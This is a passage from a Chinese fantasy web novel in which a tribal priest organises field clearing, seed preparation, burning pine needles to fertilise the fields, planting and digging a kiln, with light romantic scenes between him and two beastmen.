一定要这时候聊这个吗?小杂鱼突然就不香了,花时安揉了揉眉心,哭笑不得,“埋在那不是丢掉的意思,动物粪便和鱼内脏有大用,闻着是臭了点,但窝上一阵子,那就是上好的肥料。” “肥料是什么?”红映兰茫然地眨眨眼。 花时安想了想,“到时候种植、浇灌作物用的,促进作物生长的好东西。就比如蓝莓,肥料可以让它更早开花结果,果子数量也会变得更多。” 红映兰瞪大眼睛,“这么有用吗,那、那我还能忍忍。” 沤凼挖在部落周围并非明智之举,花时安眉头微皱,“倒也不用忍。坑是兽人挖的,位置也是他们选的,回头让他们重新挖一个,挖远一点,不然到了夏天不得了,臭气熏天。” 红映兰和花时安聊起来了,提出问题的岩知乐撑着腮帮子,又开始了下一个问题:“种地,祭司大人,我们到底什么时候开始种啊?” “你很想种吗?” “当然了!” 花时安:“好吧,那就明天。” 第60章 第 60 章 开垦 “开饭, 开饭咯!” 嘹亮的高呼打破宁静的夜,各自忙碌的族人纷纷放下手中活计,拿竹筒拿筷子,忙而不乱, 井然有序地排队打饭。 干饭不积极, 思想有问题, 花时安和两个亚兽人把煎好的小杂鱼送过去,借此机会打了饭,随后重新回到角落安静的小火堆,优哉游哉地享用晚餐。 清水炖煮的鱼块差点意思,味道比较淡,鱼腥味偏重, 但鱼肉胜在新鲜、紧实,一口肉一口汤,喝得人浑身暖洋洋,无比满足。 烤鱼味道相当不错,外皮干香有嚼劲,内里鲜嫩多汁,辣椒、花椒与鱼肉完美融合, 香气四溢, 每一口都令人回味无穷。 好吃的有点多,但花时安最喜欢的还是自己亲手煎的小杂鱼。 煎至两面金黄的杂鱼虾米只撒了一点毛毛盐, 酥酥脆脆, 嚼起来“咔嚓咔嚓”的响,跟吃薯片似的,一口一个,根本停不下来。 “好吃, 好好吃啊!我宣布,现在我是世界上最幸福的亚兽人!”岩知乐腮帮子高高鼓起,手中筷子一刻未歇,频频伸向装干煎小杂鱼的蚌壳。 红映兰也吃嗨了,一口气吃下五六条小杂鱼,意犹未尽地舔了舔嘴唇,亮晶晶的眼睛盯着花时安,“祭司大人你以后一定要多做饭呀,杂鱼好香好脆,好好吃,香味满口窜!还有你上次做的魔芋豆腐,我现在都忘不了那个味道!” 食客的喜爱就是厨子最大的动力,花时安仰头喝了一口鱼汤,面上波澜不惊,嘴角却不受控制地扬起,“嗯,有空会多做的。当然食物好吃也不全是我的功劳,加油多找点食材和调料,往后的食物只会越来越好吃。” “嗝!” 竹筒里的鱼肉还没吃完,岩知乐打了个响亮的饱嗝。 见花时安和红映兰盯着自己,他不好意思地笑了笑,旋即拍拍胸口,一本正经道:“哎呀,真的和做梦一样,每天都能吃饱饱不说,还能吃上肉,吃上鱼,日子比以前在晴空森林过得还要好。” “是啊。”红映兰放下筷子,眼底划过一抹哀伤,“要是其他人也在就好了,阿父阿母,还有大族长他们。祭司大人,你说他们会不会还活着呀,只是和我们走散了,还生活在森林某个角落?” 这问题把花时安难住了,两个亚兽人都在灾难中失去了亲人,不敢轻易给他们希望,也不忍破灭他们最后一丝幻想。 “时安。” 就在花时安纠结该如何回答时,救星来了。兽人红勇不知道从哪冒出来的,花时安听到声音转头一看,人已经站在了身后。 帮大忙了,花时安热情招呼他:“这么快就吃完饭了,吃饱了没?来坐,坐下再吃点。” “不用,我吃饱了。”红勇没有要坐下的意思,不紧不慢走到花时安身旁,神情略显紧张,有些不太自然地抿了抿嘴唇,“时安,这个给你。” “哟哟哟哟!” “可以啊红勇。” 一小叠羊皮举在半空中,看热闹不嫌事大,两个亚兽人开始起哄。 一反常态叫他时安,莫名其妙给他羊皮,看着兽人微微泛红的耳尖,花时安拿竹筒的手微微一顿,忽然就明白了。 收是不可能收的,花时安揣着明白装糊涂,笑吟吟地问道:“羊皮给我做什么?天还冷着呢,你留着盖。” “这不是羊皮,是、是衣服。”兽人眼底闪过一丝难为情,耳朵更红了,着急忙慌地将“羊皮”打开。 洁白柔软的羊皮用棕线缝合在一起,样式和花时安编织的棕衣一模一样。能看出缝衣服的人手艺一般,歪歪扭扭棕线斑驳在白色羊皮上,好似一条蚯蚓。 还未结成伴侣就把自己仅有的羊皮送给亚兽,岩知乐羡慕极了,看着羊皮衣的眼睛都直了。他抓着花时安的胳膊可劲儿晃,疯狂怂恿:“拿着快拿着,这羊皮衣真好看,穿上指定暖和!” “岩知乐!”红映兰瞪了他一眼。 看热闹就看热闹,替人拿主意就不对了。 原始社会没那么多弯弯绕绕,兽人给亚兽人送这种珍贵的物件,明摆着就是求偶。而花时安一旦收下,也就表示同意。 两个亚兽人在这凑热闹,不能拒绝得太生硬,以免伤了兽人的自尊心。沉默片刻,花时安抬头看向兽人,眼底笑意渐淡,“天气慢慢暖和了,我这棕衣穿着正好合适,羊皮衣你留着吧红勇,我用不上。” 冬天还会来,现在不能穿以后也能穿,但花时安就是不要。红勇一听也明白了,心有不甘地抽回手,唇缝中溢出一声叹息:“我知道了时安,下次我会送现在能用的。” 还有下次?花时安还没反应过来这话的意思,兽人已经拿着羊皮衣离开了,悄无声息地融入黑暗中。 他的背影略显落寞,却丝毫没有被拒绝的窘迫。 …… 一大堆事要做,第二天一早,天还没亮人们便早早聚在营地忙活起来。 盐腌制了一夜,鱼已经腌透了。温水洗去表面多余盐分,大的用木棍撑开肚皮,再用棕绳串起来挂在树干上;小的直接摊平放在簸箕里,自然风干晾晒。 烧火的、洗鱼的、晾鱼的,人们各司其职,各自忙碌。 当和煦的暖阳驱散薄雾缓缓升起时,营地四周银晃晃一片,簸箕密密麻麻并排摆放,巨树穿上银白色新衣裳,代表收货的鱼腥味浓得化不开。 鱼处理好,天已经大亮了,该出门的也要出门了。木族长与长月月带领采集队外出,一半人负责采野菜野果,一半人负责挖蓝莓、野葱等植物幼苗。 而狩猎队一行人留在部落,听从花时安的安排。 开垦荒地还需一把趁手的工具,仓库里打磨好的石头正好能派上用场,花时安把兽人放回了森林,让他们自个儿砍树做锄柄,自个儿挑石头做锄头。 兽人一窝蜂似的散开后,花时安在火塘里捡了一块烧得黢黑,但并未燃尽的干柴,随后独自溜达到长出嫩芽的草地。 草地平坦而开阔,从巨树到河岸斜坡,宽度大概在二十米,长度……一眼望不到尽头,总之,开垦一片农田绰绰有余。 抡起锄头直接挖可不行,多多少少还是要规划一下,花时安来回踱步,四下打量,最后打定了主意,拎着黑黢黢的干柴走向上游。 走到差不多与羊圈平行的位置,花时安停下了脚步,手中干柴化作毛笔,干脆利落地在草地上描绘起来。 下笔很干脆,直线却画成了波浪线。 花时安看着地上不到一米就弯成蚯蚓的线,无奈在额头上拍了下,当即丢下干柴返回营地,扛了一根笔直的竹竿回来。 竹竿打横放在草地上,花时安沿着竹竿画,终于,一条笔直的黑线将草地一分为二。一条线远远不够,他扛着竹竿往前走,继续画第二条、第三条……上游画完画下游。 画完线刚回到营地,花时安气都没喘匀,一群兽人扛着锄头走来了。一点儿办法都没有,花时安气喘吁吁地站起身,领着一群兽人前往草地。 走到上游第一条黑线,花时安脚步微顿,转头看向探头探脑,四处张望的兽人,“看到地上条线没有?等下你们就从这里开始挖,一路往上挖。两边也不要全部挖完,留下一个小臂宽的距离。” “那这边呢?”岩秋雨率先发问,指着黑线另一端,“这边一片不挖吗?” 花时安“嗯”了一声,“不挖,下游我也画了线,黑线里面这一片都不挖。” 如果从空中俯瞰,花时安画的黑线其实是将整片草地一分为三,两端开垦种地,中间离营地最近这一片草地保留。 红勇听懂了,就是有些好奇,忍不住问了一嘴:“为什么中间要空一片?这一片离营地、离我们的树洞最近,种东西也方便啊,不用跑那么远。” 不愧是狩猎队队长,总是能问出关键问题。 花时安笑了笑,指着森林与众人解释道:“森林里全是树,除了我们生火做饭的营地,很难找到一片开阔平整的空地。门前这一片草地就是因为近才要留下,万一将来要晒点什么,或者熏肉什么的,也得有个地方吧?” 花时安想的长远,虽然还没找到种子,但他已经为谷子麦子等农作物留下了一片晒场。 “原来是这样。”红勇点了点头。 “这边还有,这边两道黑线是做什么的啊?” 两句话的功夫,红云朗独自跑到前面去了,看着地上的黑线惊呼出声。花时安挥挥手示意众人跟上,继续迈开步子往前走。 大概走了二三十米,两条长短一致的黑线闯入视线。黑线挨得很近,但没有完全挨在一起,中间间隔着约莫一个小臂宽的距离。 不等兽人提问,花时安伸手指向黑线中间,不紧不慢道:“黑线中间这一长条不要挖,留着当田埂,两边还是一样,也要留下田埂。” “田埂?田埂是什么?”莫淮山难得开口,低声询问。 花时安明眸稍弯,递给他一个鼓励的眼神,笑着解释道:“田地不是一大片一大片的,外乡人说过,真正的田地是一块一块的,每块田地都是单独的。田埂就是田地的分界线,也是蓄水、包括我们过路用的。” 红勇若有所思地捏着下巴,再度点点头,“我懂了,我们要把草地分成很多块,中间的泥土用来种菜,四周留田埂把田地框起来,方便走路、浇水。” 懂是懂了,岩秋雨仍有疑惑:“但为什么要分成一块一块的呢?直接挖一大片不是照样能种吗?还能方便点。” “无埂不成田。” 花时安恨铁不成钢地看了他一眼,“有的作物喜旱,要少浇水,遇到下雨天还要放水;有的作物喜水,甚至要种在水里。图方便挖一片,难道我们就种一种植物?” “懂了祭司大人。”岩秋雨瘪了瘪嘴。 冬去春来,青草也开始发芽了。 花时安看着脚下星星点点的绿色,又交代了几句:“这一片本身就是块草地,青草虽然没完全长出来,但土里肯定有不少草根。你们要辛苦一下了,尽量挖深一点,把草根挖出来、拣出来,不然青草长出来会和作物争抢养分,很麻烦。” “知道了祭司大人。”众人齐齐应声。 体力活他就不参与了,花时安笑着与众人挥挥手,转头往回走,“先走了,有事来找我,你们——加油啊!” “开挖!” 随着兽人中气十足的一声吼,“嘭嘭嘭”的闷响顿时在草地回荡开。 60-70 第61章 第 61 章 烧荒 棕片浸水打湿, 浸泡一夜的丝瓜种子捞出来,一粒一粒平铺在网状纤维上,最后将包着丝瓜种子的棕片折叠起来,用棕绳松松捆一圈即可。 “就完事了?接下来等它自己冒出芽?” 和煦的暖阳高悬苍穹, 微光透过树枝间隙洒落在地, 石头垒砌的火塘旁, 花时安和两个亚兽人蹲坐在地,旁边还摆着一堆竹筒、背篓。 徒弟不是那么好带的,问题一个接一个。 花时安把丝瓜种子捆好递给岩知乐,让他自己感受:“棕片要一直保持这种湿润的状态,每天早上抽空洒点水。不能洒太多,种子会泡坏, 也不能洒太少,缺水冒不出芽口。” “天啦,又是泡又是包,又是浇水的,这丝瓜种子怎么感觉比幼崽还娇气。”岩知乐皱着眉吐槽,手上动作却极轻,小心翼翼地将包着种子的棕片递给红映兰。 花时安笑了笑, “种子确实娇气, 但选择这么麻烦的催芽方法主要还是工具太少,往后工具多一点, 我们就可以选择更简单的催芽方式了。” 比如温箱催种, 温棚催种…… 红映兰拿着棕片感受湿度,轻轻将它放在旁边石头上,看着花时安又问:“催芽这么麻烦的话,可不可以不催芽呢?直接把种子埋进土里行不行?” “行当然也行, ”花时安耐心解释道:“但每一粒种子都不一样,有的能顺利发芽,有的又因为各种原因不行。我们这一包丝瓜种子丢下去,或许只有一半能顺利出芽。这就会导致一片地变得稀稀拉拉的,后面要补种不说,还浪费种子。” “现在不是能浪费种子的时候,这些丝瓜种子都是兽人在悬崖上辛辛苦苦弄回来的。以后种子多了再试试吧,把种子撒在一小片土地里,等种子长成幼苗再拔出来,进行移栽。” 红映点点头,“我懂了祭司大人。” “懂了就行,继续继续,今天还有好多事要做呢。” 前阵子捣辣椒粉留下的辣椒籽便是种子,和丝瓜种子一样,已经浸泡了整整一夜。两个亚兽人将其倒出,如法炮制,用棕片包裹起来。 仅有的两种种子处理好,接下来该轮到植物块茎了。 姜、魔芋、土豆,分发食物之前花时安就挑了一些品相较好的留种。如今一整个冬天过去,单独存放,用棕片保暖的种茎已经冒出了鲜嫩的芽口。 发芽了便是种,图方便的话,整块姜、整个土豆、魔芋可直接进行播种,但条件不允许啊,本来就没多少的种茎,必须充分利用起来。 于是,花时安和两个亚兽人拿起石刀,就着石头当菜板,把发了芽的姜种、土豆、魔芋挨个儿切成块,一块仅保留两到三个芽口。 这样一块姜能栽五六个坑,土豆和魔芋也能栽三四个坑, 新鲜切口易滋养病菌,种茎切完后,他们凑到火塘跟前,给种块裹上一层草木灰,杀菌抑菌,有效防止种块腐烂,从而提高成活率。 种子、种茎目前只有这些,但能种的远不止这些。韭菜、鱼腥草、薤白、蓝莓、蔓越莓、桑树……这类植株可挖掘幼苗进行移栽,或取其枝干进行扦插。 忙碌到日头正盛中午,种块总算是处理好了。花时安跟亚兽人到河边洗了个手,顺带洗了把脸,正准备返回营地休息呢,欠缺的那股东风吹过来了。 “祭司大人!” 爬上斜坡刚踏上草地,嘹亮的高呼从右侧不远处传来,花时安循着声源望去,看到一个极为兴奋的岩秋雨。 似乎特意回来找他的,远远看到花时安,岩秋雨突然一个急刹,原地蹦跶了两下,兴奋地手舞足蹈,“快过来祭司大人,过来看一看,我们翻好了!” 这么快?因劳累过度而困乏的花时安一下子就精神了,忙地与两个亚兽人招招手,大步流星地走向兽人所在方向。 时隔三日,平坦开阔的草地焕然一新,褐色的长方形格子将连成一片的草地分割成数块。格子有大有小,小一点的相当于一间教室,大一点的相当于一个标准篮球场。 田地与田埂界限分明,一高一低,混杂在泥土中的草根不见了踪影,一片纯粹而纯净的褐色,板扎结实的泥块被锄头拍碎,变成了蓬松柔软的泥粒,一脚下去差点陷到脚踝。 好完美,好规整的田地,这才三天时间,挖得这么好就算了,关键这么好的地不止一块,上游下游大大小小加起来,整整十二块! 效率太高了,跟着兽人上游下游转悠了一圈,花时安惊得失语,一句话都说不出。 沉默在旁人眼里变成了另一重意思,跟着花时安身后的兽人们面面相觑,急促的呼吸声都变弱了,一颗心瞬间提到嗓子眼。 队长红勇还没发话,眉头紧锁的岩秋雨实在忍不住了,着急忙慌地追着花时安问:“别不说话啊祭司大人,草根和石头我们都拣出来了,大点的泥块也拍碎了,不会有什么问题的对吧?” 为了尽快播种,这三天以来,眼睛一睁就是挖土。兽人们挥汗如雨,锄头抡到冒烟,胳膊酸软胀痛,浑身更是酸痛不已,像是被人暴揍了一顿。 辛苦翻地是为了更好的生活,累是累了点,兽人毫无怨言,但已经干完的活儿要是再重新干一遍,岩秋雨想想都头皮发麻,估计会当场嘎在这地里。 担忧全都写在脸上,兽人的心思简直不要太好猜。 知道他们翻地辛苦,花时安收回停留在脚下的视线,及时给予肯定:“放心,没有任何问题。挖得好,挖得妙,三天时间挖了这么多块地,你们真的——太厉害了!” “没问题,祭司大人说没问题!” “太好了太好了,终于不用翻地了!” “想什么呢,这才十多块地,过阵子还是要挖的。” “至少不用这么赶。” …… 提心吊胆的兽人们松了一口气,你一言我一语。 队长红勇摆了摆手示意,待躁动的兽人安静下来,他面向花时安,颇为郑重其事道:“时安,那现在是不是可以开始埋种了?” 很累很疲惫,但他们更想要收获,更想过上花时安口中那种衣食无忧的日子。 种子尚在催芽,土豆、魔芋等种块均已备好,种倒是也可以种,但在这之前……花时安琢磨了一下,抬眸对上红勇蕴藏期待的眸子,遗憾摇摇头,“不着急,你们先回营地歇一下,喝点水,等会儿我们一块去松树林那边,背点松针回来。” “松针?要松针做什么?”岩秋雨不解地问。 红勇也是一头雾水,“松针和种地有关系?” “烧!”花时安指着脚下蓬松柔软的土地,不紧不慢道:“要想收成多,刚开垦出来的荒地还得烧一烧。烧去草根、虫卵,改善土质,增加土壤肥力。” 好复杂,红勇听得云里雾里。 不管了,祭司大人这么做一定有他的道理,红勇大手一挥,扯着嗓子高呼一声:“走了狩猎队,去松树林背松针!” 太阳晒得皮肤发红,兽人们顶着一脑门汗,花时安看着还是有些于心不忍,温声提议:“刚翻完地,这几天你们都辛苦了,先去营地歇会吧。” 红勇想都没想,果断摇摇头:“不耽搁时间,走路就当歇息。” 一点儿不吹牛,兽人们真拿赶路当休息。花时安和两个亚兽人也一块去帮忙,结果才跑了两趟,累得上气不接下气,而刚在草地挥洒完汗水的兽人脚下生风,一趟一趟又一趟。 走不快去了也是拖后腿,第二趟回来花时安索性留在了营地,和岩知乐、红映兰一人找了一根竹竿,将倒在草地里的松针均匀铺平,并用泥土在田地四周堆了几道防火隔离带。 天气回暖,森林逐渐干燥,用火一定得小心,可不能把家给烧了。 松针铺好,装满水的石锅在田埂上摆成一排。随着花时安一声令下,上游下游两个不同的方向飘起了浓烟,星星点点的火光逐渐演变烈焰,将铺在田地里的松针席卷,化为滋养土壤的灰烬。 松针铺的不算厚,不一会儿便烧完了。高温令人无法靠近,花时安和狩猎队一同站在草地,远远望着浓烟散尽,一片焦黑的土地,思绪不受控制地飘远。 田地有了,种子也有了,部落即将进入农耕时代。可时至今日连个装水的容器都没有,到时候栽种浇灌,难道要拿着竹筒一趟一趟往河边跑? 还有那锄头,石头做锄板还是太勉强了,挥好几下才能破开一块板扎的泥土,不累才奇怪。如果把锄板换成铁、铜等金属,以兽人的体力和耐力,效率翻倍不是问题。 那么问题来了,上哪去找金属?就算侥幸找到含有金属元素的矿石,在这种环境中,又用什么来冶炼,打造器具呢? 锅碗瓢盆,刀斧锄犁…… 从生活到生产,他们需要更多的容器,需要更加趁手、锋利的工具。 种完地也该提上日程了,从锅碗瓢盆开始,挖窑烧陶。 第62章 第 62 章 种植 微风驱散晨雾, 朝阳冉冉升起,初春的天空澄澈而纯净,蓝得深邃。云朵慵懒地舒展开,如一团团洁白柔软的棉絮, 低低垂挂于天边, 仿佛唾手可得。 空气格外清新, 泥土与青草的气息笼罩森林,丝丝缕缕的金线穿透云层洒落大地,露珠未散的草地泛起细碎的银光,与远处田垄中晃动的身影交相辉映。 三日又三日,斑驳在草地里的大格子又变了模样,褐色土地变得焦黑, 田地不再平整,一道道土垄拔地而起,为“空白”的农田穿上一件条纹新衣裳。 从天空灰蒙蒙亮到艳阳高照,兽人、亚兽人不知疲倦地在田间挥洒着汗水。起垄、挖坑,沾满泥土的双手托起种块与幼苗,将期盼埋进焦黑的土壤中。 土豆、魔芋、野葱、蓝莓……今天栽种的作物有点多。不同作物有不同的栽种方式,以防栽错又挖起来重栽, 花时安只能上游下游来回跑, 充当监工和技术指导。 从上游溜达到下游,刚踏上蓝莓地的田埂, 一声哀怨的吆喝从地里传来:“哎哟我的腰啊!不行了不行了, 差点直不起来。” 显然蹲久了腰疼,刚从地里站起来的木族长唉声连连,不停用手捶打着腰杆和后背。 相比土豆、魔芋,直接从森林里挖回来的蓝莓苗栽种得要慢一点, 一个人负责两垄。蹲在族长身后的长月月已经栽上了第二垄,而木族长的第一垄才刚刚过半。 听到族长的抱怨声,长月月抬头看了一眼,不咸不淡道:“一把年纪你就别折腾了族长,放那歇着去吧,一会儿我来种。” “嘿,这孩子咋说话的。”木族长眉毛一挑,蛮不服气道:“你们族长年纪是大了点,但好歹是个兽人,栽点蓝莓就叫折腾?看不起谁呢?” “就是就是。” 前面起垄的红云朗看热闹不嫌事大,杵着锄头笑嘻嘻,“族长有的是力气,别看他现在种得慢,这是不熟练呢,过会速度就起来了,别说两行,二十行也不成问题。” 长月月不再劝说,笑着打趣:“那你要抓紧了族长,二十行可不少,快赶上一块地了。” “我……” 两行变二十行,木族长脸色微变,一时语塞。 逞口舌之快,受罪的却是自己,木族长扶着酸痛不已的腰,站也不是蹲也不是。而就在这时,余光扫过不远处田埂,他像是抓住了救命稻草,风风火火地冲向花时安。 “祭司大人找我,你们继续,我一会儿再来。” 纯粹路过的花时安:我有吗? 忽悠别把自己也忽悠进去了,木族长爬上田埂走到花时安跟前,拍了拍掌心残留的泥土,咧着嘴嘿嘿一笑,“时安,找我有什么事吗?” 都伸手讨要了,不给个台阶好像也不合适,花时安眨了眨眼,唇缝中溢出一声轻笑,“要不要一块去转转,看看他们种得怎么样了?” “好啊好啊!” 木族长顺着台阶下,跟着花时安一同巡视。 狩猎队采集队均未外出,众人拾柴火焰高,十一块规整的田地正在同时种植中。蓝莓占据了最大的一块地,蔓越莓其次,两块地紧挨在一起,因为浆果几乎同时成熟,方便采收。 土豆占三块地,魔芋和姜各占一块地,倒不是花时安不想多种点,主要还是种不够多。之后肯定要在森林里继续找,找到了再种,尤其是土豆和魔芋,越多越好。 下游边缘一整块地都种的桑树,桑树作用多,桑叶可以喂羊喂兔子,人也可以食用,春末夏初成熟的桑葚还能当水果。 剩下三块地就是蔬菜了,韭菜、薤白、鱼腥草、马齿苋……一块地种好几种野菜,混着种,当菜地使用,而仅找到六棵的花椒树也种在了菜地边上。 最后一块空地,留给尚未发芽的辣椒、丝瓜。 活要干,饭也要吃,第一次种植只能先种下这些。之后有空再慢慢开垦,慢慢播种,短则一年半载,长则三到五年,部落必定可以吃喝不愁。 唯一的遗憾,花时安日思夜想的五谷杂粮始终没有找到。 有肉有菜,要是再来上一碗香喷喷的大米饭……哎! 花时安替自己的碳水胃重重叹了一口气。 整个部落一块出动,今天下午估计就能栽种完。 一垄一垄地栽种,族人很快便从生疏到熟练。两圈巡视下来,已经没花时安什么事了,于是和木族长分别后,花时安找红勇借了两个兽人,带着他们前往下游。 十二个兽人就带走两个,被祭司大人选中何尝不是一种荣幸,但突然让带上锄头,兴冲冲爬上田埂的岩秋雨惊觉大事不妙。 果不其然,沿着草地径直走向下游,没走出多远,距桑树地百余米,前面带路的花时安停下步伐,而脚下绿茵茵的草地,一个硕大的黑色圆圈尤为瞩目。 “干嘛啊祭司大人,该、该不会又要挖土吧?” 胳膊隐隐作痛,岩秋雨把锄头往地上一杵,抱着锄柄瑟瑟发抖。猜到了,事实也摆在眼前,但还想再挣扎一下。 一大早走了太多路,鞋带都松了,花时安丢下锄头系好鞋带,这才回头看了他一眼,笑着调侃:“怎么,不乐意啊?” “倒不是不乐意,”岩秋雨瘪着嘴嘟囔:“就、就……” 支支吾吾半天也没说出个所以然,花时安不再等他,拍拍棕裙站起身,将目光转移到另一个兽人身上,眼底笑意更浓,“你呢?你也不乐意?” “乐意!我、很乐意。”莫淮山想都没想,着急忙慌道。 不准备就这样放过他,花时安又问:“今天种完地,明天狩猎队就可以去森林狩猎了,帮我干活可能要耽搁个两三天,真的乐意吗?现在后悔还来得及。” 这阵子实在太忙了,天天都能碰面,却连话都难说上几句。莫淮山扫过花时安微微泛红的脸颊,很认真地看着他的眼睛,说话又打起了磕巴:“不、不后悔,我想跟着你干活。” 岩秋雨一个白眼翻上天,“呵,就你能耐。” “啧。”花时安似有不满地瞪了岩秋雨一眼,“少说话多做事,赶紧的吧,开始挖。” 岩秋雨拿着锄头在地上点,“你倒是说说怎么挖呀祭司大人,挖圈里面还是挖圈外面?挖多深啊?我都不知道怎么下锄头。” 光顾着闲聊差点忘了正事,花时安重新拎起锄头,借着地面事先画好的黑圈与两人说明:“挖圈里面,竖着往下挖,挖个深坑出来。挖到人能站立进去的深度,继续斜着往四周挖,把深坑扩大。” “顶上不能太大,不能超过这个圈,里面也不要太规整,尽量挖成一个外面小里面大的圆形。”花时安想要的形状其实和包子很像,但兽人又没见过包子,他托腮琢磨片刻,终于想到了合适的参照物。 “树洞!我要的坑可以说是一个竖起来的树洞,上面这个圈就是洞口,你们需要在‘洞口’里面给我挖一个圆的树洞出来,甚至还要把四周打磨光滑。” 岩秋雨听迷糊了,听傻眼了,目光呆滞地看着花时安,过了好半晌才回过神,“这也太复杂了!而且这个圈……和背篓差不多大吧?人钻进去转个身都费劲,挖深了怎么往四周挖?怎么挥锄头啊?” 花时安:“我知道这很麻烦,但没办法,记不住可以问我,我在这里陪你们挖。先挖,挖到不能挖就钻进去刨,明天我会给你们拿工具过来。” 没有水泥砖头,用泥土搭建出来的窑炉顶多使用一两次,费力又不讨好。花时安这两天一直在附近转悠,一直在琢磨,最后决定利用河岸断面,挖一个大点的横穴窑,一劳永逸。 横穴窑结构还算简单,但刚才给他们说的也只是其中一部分,窑口和窑室。要想顺利烧制陶器、木炭,他们还需在河岸断面下方挖出火膛,再掏出火眼、火道连通窑室。 而在这之前,还需将通往小河的斜坡挖成垂直的断面。 一次性说完反倒会把兽人整懵,花时安点到为止,旋即朝兽人们挥挥手,“来吧,别愣着了。秋雨你在上面挖,淮山你跟我到河——” “什么?我一个人在上面挖?”岩秋雨惊呼出声。 花时安“啊”了一声,用锄头指了指黑圈,“不然呢?就这么大点个地方,两个人能挥得开锄头吗?” “别偏心啊祭司大人,莫淮山个头和力气都比我大,要留也该他留在上面挖。”岩秋雨不依不饶,飘忽的目光有那么一丁点不自然。 怎么还斤斤计较上了,花时安轻笑一声,“上面的活比较细致,但不怎么费劲,在下面挖断面可是个力气活,你确定要换?” 岩秋雨非常爽快:“要,我要和——” “不、不行!”莫淮山声音拔高,十分坚决地拒绝。 憨厚老实的兽人突然变得强势起来,一反常态地打断别人的话,这可真是稀罕事。 空气凝固了一瞬,花时安和岩秋雨惊了,齐刷刷愣住。 似乎察觉语气过于生硬,莫淮山挠挠头,支支吾吾,却尤为坚定道:“我、我力气大,我多挖点时安就能轻松点,秋雨你、你就在上面挖,不要、不要让时安累着。” 没有偏心但确实有私心,花时安替岩秋雨回答:“好。” 第63章 第 63 章 适合拥抱的距离 夜幕笼罩着森林, 逼仄的树洞光线昏暗,漆黑一片。 白天出了太多汗,脏衣服刚脱下来,树洞主人光着膀子坐在竹床上。他左手拿着底粗尖细的花椒刺, 右手摊开举在眼前, 眸光幽深, 神情略有些纠结。 伸头是一刀,缩头也是一刀,几番纠结过后,花时安心一横,牙一咬,手中尖锐的花椒刺快而迅速地戳向右手手掌。 尖刺挑破掌丘撑到透明的水泡, 澄清的液体缓缓涌出,花时安放下尖刺两指用力一挤,眉头顿时拧成一团,嘴角抽搐倒吸一口凉气。 “嘶——” 清理石头、抡锄头挖土……河边折腾了一整天,花时安的手快废了,左手稍微好点,频繁使用的右手磨出好几个水泡, 一碰就疼。 要老命了, 花时安忍着痛将大个水泡挑破,挤出组织液, 额头已然渗出一层薄汗。他滑下竹床, 正准备找点凉白开洗手,竹门忽然被人敲响,沙哑的嗓音透过竹篾缝隙传来。 “时安,时安你在树洞里吗?” 声音辨识度很高, 花时安一听便知来人,轻轻应了一声:“在呢,门没拴,你进来吧。” “嘎吱”一声响,竹门打开了,高高大大的兽人猫着腰,侧着身子,略有些憋屈地钻进这个与身形不太匹配的树洞。 分明休息了好一会儿,兽人却像是刚从外面回来,脸颊红红的,额头上还挂着汗珠。花时安刚想问他干嘛去了,余光无意扫过他举在身前的双手,顿时什么都明白了。 植物的清香在树洞蔓延开,树叶包裹着一团墨绿色草泥。 开门钻进树洞,兽人明显一愣,好似看到了不该看的,他匆匆别开脸,挪开视线,怯怯伸出双手将树叶递了过去,“蒲公英泥,时安你、你……你涂在手上。” 发生了什么?突然磕巴成这样。 花时安接过树叶,挑眉看了他一眼,“我说你干嘛去了,一脑门汗,特意去给我采的蒲公英?” 莫淮山胡乱“嗯”了一声,转身便要往外走。 “哎,淮山!”花时安叫住他:“跑那么快干嘛,你来得正好,过来帮我个忙。” 莫淮山闻言僵在原地,过了十息才慢慢转过身,耷拉着脑袋。 像做了亏心事一样,花时安莫名觉得好笑,扬了扬下巴道:“帮我拿一下喝水的竹筒,我要擦擦手,刚把水泡挑破了,洗一下才能——” “挑破?你把水泡挑破了?” 莫淮山反应极大,三两步冲上前,将花时安手中盛着草泥的树叶放到桌面,抓着他的手腕,摊开双手,慌乱中带着一丝迫切。 挤出组织液,水泡彻底瘪了下去,被撑到透明的皮肤依旧没有恢复。莫淮山看着花时安伤痕累累的掌心,眉头紧蹙,眼底闪烁着浓浓的担心,“为什么要挑破?抹点草泥过两天自己会好的,你这样、这样多疼啊。” 挑那一下是挺疼的,挤完其实就不疼了。 不疼两个字已经到了嘴边,花时安硬生生咽了下去,临时改口:“嗯,是挺疼的,但挑破好得快一点,不耽误做事。” “不、不用做事,明天我会挖快一点,时安你受伤了,要好好歇着。”兽人眉头越拧越紧,神情严肃,无比认真。 故意让人担心也太坏了,花时安抬眸看着兽人的眼睛,心软得一塌糊涂,“好了好了,没事,现在不疼了。快帮我弄点水擦擦手,刚刚挤了水泡,脏死了。” “哦好。”莫淮山松开手,着急忙慌地在竹桌上翻找。 花时安退回床边坐着,摊开双手乖乖等着。 羊皮边角料沾上凉白开,莫淮山半蹲在花时安身前,抓起他的手轻轻擦拭。掌心、掌丘、手指,兽人非常仔细,力度格外轻柔,跟挠痒痒似的,细密酥痒弄得花时安总想笑。 两只手擦洗干净,兽人指腹蘸取草泥,不紧不慢涂抹在掌丘伤口处。一个伤口抹一层,完事儿他还觉得不够,在过道里艰难转身,趴在竹桌下张望,似乎打算找棕片给花时安包扎。 一点点小伤口,抹药都多余,包扎就太过了,花时安用手背拍了拍兽人的肩膀,赶忙叫住他:“好了淮山,你快起来,一点小伤,抹了药很快就会好,用不着包。” 终于意识到自己紧张过头了,莫淮山从竹桌底下钻出来,拍拍棕裙站起身,低头看着地面,“好吧,那、那我先走了,一会儿饭好了给你送、送过来。” 又变回了进门时的样子,目光飘忽,不敢看他,花时安面露疑惑,微微上扬的嘴角垂了下来,“你今晚到底怎么了淮山,地上有掉东西吗?” “没、没有。” 莫淮山不再看地面,僵硬地转头看向洞口。 看地面也行,看洞口也行,就是不看他,花时安无奈扶额,轻笑一声:“从进门就没拿正眼瞧过我,淮山,你这样会让我误会的,我会以为你不想看见我。” “不、不是的。”莫淮山倏地转过头,今晚第一次直面花时安。仅是两三个呼吸,他脸颊染上异样的红,极为快速蔓延到耳尖。 这也太奇怪了,花时安好奇地追问:“到底怎么了?” 只坚持了几秒钟,莫淮山再度挪开视线,红着脸支支吾吾:“衣、衣服,时安你……衣服呢?天气还有点凉,你要不、要不还是穿、穿上吧。” 花时安懵了一瞬,低头看向自己未着寸缕的上半身。 干活出了不少汗,黏糊糊的不舒服,花时安一回树洞就把衣服脱了。但这有什么问题?去年光着膀子好长时间,直到冬天才穿上衣服,他自个儿都快习惯了。 等下。 脸红,不敢看他,让他穿衣服,难不成…… 